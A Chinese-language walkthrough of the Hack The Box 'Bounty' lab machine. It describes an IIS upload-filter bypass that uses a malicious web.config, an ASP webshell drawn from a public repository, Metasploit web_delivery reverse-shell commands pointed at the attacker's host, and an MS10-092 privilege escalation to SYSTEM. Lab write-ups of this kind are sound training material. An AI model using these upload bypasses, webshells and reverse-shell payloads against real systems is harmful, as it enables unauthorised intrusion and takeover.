导语:今天,我们的CTF靶机是bounty。这个靶机来自hack the box漏洞实验室。他们有很多的ctf靶机,渗透测试人员可以进行在线测试,从初级水平到专业级别的靶机都有。

今天,我们的CTF靶机是bounty。这个靶机来自hack the box漏洞实验室。他们有很多的ctf靶机,渗透测试人员可以进行在线测试,从初级水平到专业级别的靶机都有。

我们这个靶机的等级属于中级。靶机的任务是找到user.txt和root.txt文件。

注意:因为这些实验都可以进行在线测试,所以他们都有一个静态IP,Bounty靶机的IP是10.10.10.93。

通关攻略

首先,肯定是扫描神器Nmap开路,用基本的nmap命令来探测开放的端口和服务:

nmap -A 10.10.10.93

1.png

从扫描结果可以看到开启了80端口,运行的服务是IIS7.5.

我们来访问一下80端口,在浏览器地址栏中输入IP地址后,我们可以看到下面这个页面:

2.png

页面只有一个图片,并没有什么有价值的信息,接着我们使用Dirbuster工具来进行目录遍历,如图

3.png

这里我们使用的字典是directory-list-2.3-medium.txt来进行web目录遍历。

不出所料,很快就有了响应,可以看到存在transfer.aspx文件和uploadedFiles目录,如图:

4.png

OK,我们在浏览器中访问一下transfer.aspx这个文件,于是我们得到了一个新的页面,这个页面可以进行文件上传,如图:

5.png

我们尝试了很多次进行上传文件,但是每次都上传失败,并且提示:invalid file please try again(上传文件无效,请重新尝试),如图所示:

6.png

尝试了多次并且失败后,我便去Google查找了一番,搜索“IIS 7.5 rce upload”,发现了一篇文章,在这篇文章中,我们了解到了web.config文件,它在IIS7.0(或更高版本中)存储着非常重要的配置信息,跟Apache服务器的.htaccess文件非常类似。上传.htaccess文件来绕过文件上传的防御是一种常用的套路。

7.png

读了上面的文章后,我们写了一段简单的asp代码并将代码插入web.config文件的后面,这段代码的意思是返回1+2的值,如图:

8.png

现在我们再来上传这个web.config文件,可以看到web.config文件已经成功上传,刚才目录遍历出来一个uploadedFiles目录,我们可以猜想上传的文件就在这个目录下,我们可以验证一下,如图:

9.png

访问该目录下的web.config文件,得以执行,返回结果3,如图:

10.png

既然可以执行,那么我们就可以在这个文件中注入恶意代码来实现RCE漏洞。

在网上找了一番,找到了ASP的webshell,网址是https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp

把这个ASP webshell的整个内容复制到web.config文件中,然后上传,如图:

11.png

上传的web.config文件执行之后,就会创建一个表单,在这个表单中输入命令就可以实现远程命令执行了,如图所示:

12.png

不过,这里我们将执行metasploit的web delivery模块生成的powershell代码,利用过程如下:

msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set srvhost 10.10.14.2
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload window/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.2
msf exploit(multi/script/web_delivery) run

执行之后我们就可以得到一个meterpreter会话了,如图所示:

13.png

非常棒,既然获得了受害主机的meterpreter会话,那我们就可以查看user.txt来完成第一个任务了。

最终,我们在/users/merlin/Desktop目录中找到了user.txt文件,如图:

14.png 

下一步就是要找到root.txt文件了,不过要查看这个文件,通常需要进行提权。

这里我们可以利用后渗透利用模块“Multi Recon Local Exploit Suggester”,这个模块会告诉我们可以进一步渗透攻击的meterpreter exp。这些exp是基于目标主机的架构和使用平台推荐的本地可用的exp。执行下列命令:

use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit

结果如图:

15.png

非常不错,这个脚本非常有用,显示了目标主机存在的漏洞和相对应的exp。接下来,我们就来试一下图中框起来的第一个exp。

这个漏洞是关于计划任务的,导致可以进行提权。这个利用模块已经在存在漏洞的Windows Vista Windows7和Windows server 2008 x64和x86上测试过了有效。利用起来也比较简单,只要进行如下设置即可:

use exploit/windows/local/ms10_092_schelevator
msf post(windows/local/ms10_092_schelevator) > set lhost  10.10.14.2
msf post(windows/local/ms10_092_schelevator) > set lport 5555
msf post(windows/local/ms10_092_schelevator) > set session 1
msf post(windows/local/ms10_092_schelevator) > exploit

如图:

16.png

执行之后就获得了另一个meterpreter会话,现在我们来看看提权的情况,执行下面两条命令:

getsystem
getuid

结果如图:

17.png

可以看到现在的系统用户是NTAUTHORITY\SYSTEM,已经是最高权限了,提权成功。

接下来就好说了,查看root.txt文件的内容,这个就没什么好说的了,自己找一下就OK,本次靶机root.txt文件就在Desktop上,如图:

18.png

好了,本次靶机到此结束,希望大家有所收获!

源链接

Hacking more

...